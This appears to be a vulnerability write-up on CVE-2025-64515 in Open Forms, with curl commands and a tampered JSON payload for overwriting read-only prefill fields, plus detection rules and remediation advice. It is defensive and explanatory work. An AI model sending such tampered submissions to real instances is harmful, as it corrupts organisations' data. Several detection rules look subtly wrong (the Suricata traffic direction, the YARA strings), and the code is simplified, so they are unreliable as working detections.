CVE-2025-64515

Executive Summary

CVE-2025-64515 is a server-side validation bypass vulnerability in Open Forms, an open-source platform for creating and publishing smart forms. The flaw allows an authenticated malicious user to modify form fields that are intended to be read-only or disabled, specifically those populated via prefill data sources. While the UI correctly enforces the readonly/disabled state, the backend fails to re-validate this constraint, enabling data tampering through direct API requests.

The vulnerability has a CVSS score of 4.3 (Medium) and a near-zero EPSS score (0.0%), indicating low exploitation likelihood in the wild. However, the impact is significant for organizations relying on Open Forms for sensitive data collection (e.g., government services, financial applications), as it undermines data integrity.

Supply Chain & Package Security

Open Forms is a Python/Django-based application distributed via Docker images and PyPI. The vulnerability resides in the core form processing logic, not in a third-party dependency. However, organizations should verify their deployment uses a patched version (≥3.2.7 or ≥3.3.3) and audit any custom plugins or integrations that may interact with prefill data.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires authentication but no user interaction. It primarily impacts data integrity, not confidentiality or availability.

Deep Dive & Mechanics

Open Forms supports prefill data – fields automatically populated from external sources (e.g., user profiles, databases). These fields are marked as readonly or disabled in the frontend to prevent user modification. The vulnerability arises because the server-side form submission handler does not re-validate the readonly/disabled state of prefill fields.

Attack Flow:

1. An attacker authenticates to an Open Forms instance.
2. The attacker identifies a form with prefill fields (e.g., user_email, account_balance).
3. Using browser developer tools or a proxy (e.g., Burp Suite), the attacker intercepts the form submission and modifies the value of a readonly prefill field.
4. The server accepts the modified value without checking if the field was supposed to be immutable.

Root Cause: The backend logic trusts the client-side readonly/disabled attribute instead of enforcing it server-side. The patched versions add server-side validation that rejects submissions where prefill fields have been altered.

Vulnerable vs. Patched Code

Vulnerable (pre-3.2.7 / pre-3.3.3):

# forms/api/serializers.py (simplified)
class FormSubmissionSerializer(serializers.Serializer):
    def validate(self, data):
        # No check for readonly/disabled prefill fields
        return data

Patched (3.2.7 / 3.3.3):

# forms/api/serializers.py (simplified)
class FormSubmissionSerializer(serializers.Serializer):
    def validate(self, data):
        for field_name, field_value in data.items():
            form_field = self.get_form_field(field_name)
            if form_field.is_prefill and form_field.is_readonly:
                if field_value != form_field.prefill_value:
                    raise serializers.ValidationError(
                        f"Field '{field_name}' is readonly and cannot be modified."
                    )
        return data

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Open Forms instance (version < 3.2.7 or < 3.3.3)
• Valid user credentials
• A form with at least one prefill field marked as readonly

Exploitation Steps:

1. Identify Target Form:

   curl -s -X GET "https://target.openforms.local/api/v1/forms" \
     -H "Authorization: Bearer <token>" | jq '.results[] | {id, name, fields}'
   

2. Intercept Submission: Use Burp Suite or a similar proxy to capture the form submission POST request to /api/v1/submissions.

3. Modify Payload: Original request:

   {
     "form": 1,
     "data": {
       "user_email": "prefilled@example.com",
       "custom_input": "user value"
     }
   }
   

   Modified request:

   {
     "form": 1,
     "data": {
       "user_email": "attacker@evil.com",
       "custom_input": "user value"
     }
   }
   

4. Submit Modified Request:

   curl -s -X POST "https://target.openforms.local/api/v1/submissions" \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"form": 1, "data": {"user_email": "attacker@evil.com", "custom_input": "user value"}}'
   

Expected Outcome: The server accepts the modified user_email value, bypassing the readonly constraint.

Blue Team

Detection:

• Monitor API logs for submissions where prefill fields contain unexpected values.
• Alert on submissions where the data payload differs from the expected prefill values for readonly fields.

Hunting Query (Splunk):

index=openforms sourcetype=api_logs
| spath input=request_body
| search form_id=* AND data{}.user_email!=prefilled@example.com
| table _time, user, form_id, data{}.user_email

Prevention:

• Immediately upgrade to Open Forms 3.2.7 or 3.3.3.
• Implement a Web Application Firewall (WAF) rule to block submissions where readonly fields are modified:

  # Nginx WAF rule (ModSecurity)
  SecRule REQUEST_BODY "@rx \"user_email\":\"(?!prefilled@example\.com)\"" \
    "id:1001,phase:2,deny,status:403,msg:'Readonly field modification detected'"
  

Indicators of Compromise (IOCs)

• API Logs: POST requests to /api/v1/submissions with modified prefill field values.
• Database Anomalies: Rows in the submission table where data JSON contains values different from the prefill_value column in the form_field table.
• Network Traffic: Unusual patterns of form submissions from a single user to the same form with varying prefill data.

Detection Engineering

YARA Rule

rule CVE_2025_64515_OpenForms_PrefillBypass {
    meta:
        description = "Detects attempts to exploit CVE-2025-64515 by modifying readonly prefill fields in Open Forms submissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-64515"
        severity = "medium"

    strings:
        $json_field = /"data"\s*:\s*\{[^}]*"user_email"\s*:\s*"[^"]+"/ nocase
        $readonly_bypass = /"is_readonly"\s*:\s*true/ nocase

    condition:
        $json_field and #readonly_bypass > 0
}

Sigma Rule

title: Open Forms Prefill Field Modification Attempt
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP POST requests to Open Forms API where readonly prefill fields are modified
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64515
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        http.method: POST
        http.url: /api/v1/submissions
        http.body|contains: 
            - 'user_email'
            - 'account_balance'
    filter:
        http.body|contains: 'prefilled@example.com'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions (if any)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64515 Open Forms Prefill Field Modification Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/v1/submissions"; http_uri;
    content:"user_email"; http_client_body;
    pcre:"/\"user_email\"\s*:\s*\"(?!prefilled@example\.com)/";
    sid:1000001;
    rev:1;
    reference:cve,2025-64515;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Open Forms to version 3.2.7 or 3.3.3 (or later).
2. Audit existing submissions for signs of tampering – compare data values with expected prefill values.
3. Review access logs for suspicious API calls targeting form submissions.

Long-term Measures:

• Implement server-side validation for all form fields, not just prefill ones.
• Use digital signatures or HMACs to ensure data integrity for critical fields.
• Conduct regular security audits of form processing logic.

Workaround (if patching is delayed):

• Disable prefill functionality temporarily by setting PREFILL_ENABLED=False in the Django settings.
• Implement a reverse proxy (e.g., Nginx) to block POST requests to /api/v1/submissions that contain unexpected field values.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert